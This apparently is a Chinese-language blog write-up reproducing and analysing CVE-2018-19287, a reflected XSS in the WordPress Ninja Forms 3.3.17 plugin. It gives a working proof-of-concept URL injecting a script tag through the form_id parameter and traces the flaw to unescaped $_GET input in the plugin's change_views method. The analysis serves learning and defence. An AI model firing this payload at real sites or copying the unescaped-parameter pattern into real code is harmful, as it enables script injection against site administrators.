WordPress Ninja Forms XSS CVE-2018-19287

1.漏洞复现

WordPress 6.2

插件:Ninja Forms 3.3.17,https://downloads.wordpress.org/plugin/ninja-forms.3.3.17.zip

复现

后台,安装、启动插件

访问触发XSS:http://127.0.0.1/wp-admin/edit.php?post_type=nf_sub&form_id="><script>alert();</script>

2.正向分析

从可见功能点正向分析

功能点位置

后台进入 Ninja Forms 的提交模块

选择一个表单

当前URL:http://127.0.0.1/wp-admin/edit.php?post_status=all&post_type=nf_sub&form_id=1&nf_form_filter&paged=1

将 form_id 改为 hacker 再访问,发现 hacker 出现在了 Trashed 的链接内

<ul class='subsubsub'>
  <li class='all'>Completed |</li>
  <li class='trash'><a href="http://127.0.0.1/wp-admin/edit.php?post_status=trash&post_type=nf_sub&form_id=hacker&nf_form_filter&paged=1">Trashed</a></li>
</ul>

/wp-admin/edit.php

可以看到 GET请求 是从这个脚本开始处理的

通过不断注释不同区域的代码再观察页面的变化的方法找到了影响 Trashed 是否存在于页面的代码

$wp_list_table = _get_list_table( 'WP_Posts_List_Table' );
...
<?php $wp_list_table->views(); ?>

_get_list_table 是 WordPress 的函数,用来获取特定管理界面的列表表对象

在 $wp_list_table 定义下面添加:

ob_end_flush();
var_dump($wp_list_table);

刷新页面,Ctrl+U,看看 $wp_list_table 是什么

object(WP_Posts_List_Table)#10167 (16) {
...

可以看出来是调用了 WP_Posts_List_Table类 的 views方法

WP_Posts_List_Table类

\wp-admin\includes\class-wp-posts-list-table.php

class WP_Posts_List_Table extends WP_List_Table {

不存在 views方法,看看它的父类

WP_List_Table类

public function views() {
  $views = $this->get_views();
  $views = apply_filters( "views_{$this->screen->id}", $views );
  ...
  echo "<ul class='subsubsub'>\n";
  foreach ( $views as $class => $view ) {
    $views[ $class ] = "\t<li class='$class'>$view";
  }
  echo implode( " |</li>\n", $views ) . "</li>\n";
  echo '</ul>';
}

apply_filters 是 WordPress 的函数,会对 $views 用参数1过滤器进行过滤

可以看出 Trashed 的链接就在过滤后的结果中

在第二次 $views 定义下面添加:

ob_end_flush();
var_dump($this->screen->id);
echo 777;

刷新页面,Ctrl+U,通过 777 定位,看看是什么过滤器

string(11) "edit-nf_sub"

NF_Admin_Menus_Submissions类

/wp-content/plugins/ninja-forms/includes/Admin/Menus/Submissions.php

通过命令找到添加过滤器的这个类文件

findstr /s views_edit-nf_sub D:\environment\phpstudy_pro\WWW\wordpress\*.php

add_action 也是 WordPress 的函数,可以看到 views_edit-nf_sub 对应的过滤器函数为 change_views方法

add_action( 'views_edit-nf_sub', array( $this, 'change_views' ) );

change_views方法

在当前类查看 change_views方法 的实现

public function change_views( $views )
{
  ...
  $form_id = '&form_id=' . $_GET[ 'form_id' ] . '&nf_form_filter&paged=1';
  ...
  $views[ 'all' ] = '<a href="' . admin_url( 'edit.php?post_status=all&post_type=nf_sub'  ) . $form_id . '">'
                          . __( 'Completed', 'ninja-forms' ) . '</a>';
  ...
  return $views;
}

发现根本没有过滤,导致了XSS

posted @ 2023-04-29 21:46  Hacker&Cat  阅读(19)  评论(0编辑  收藏  举报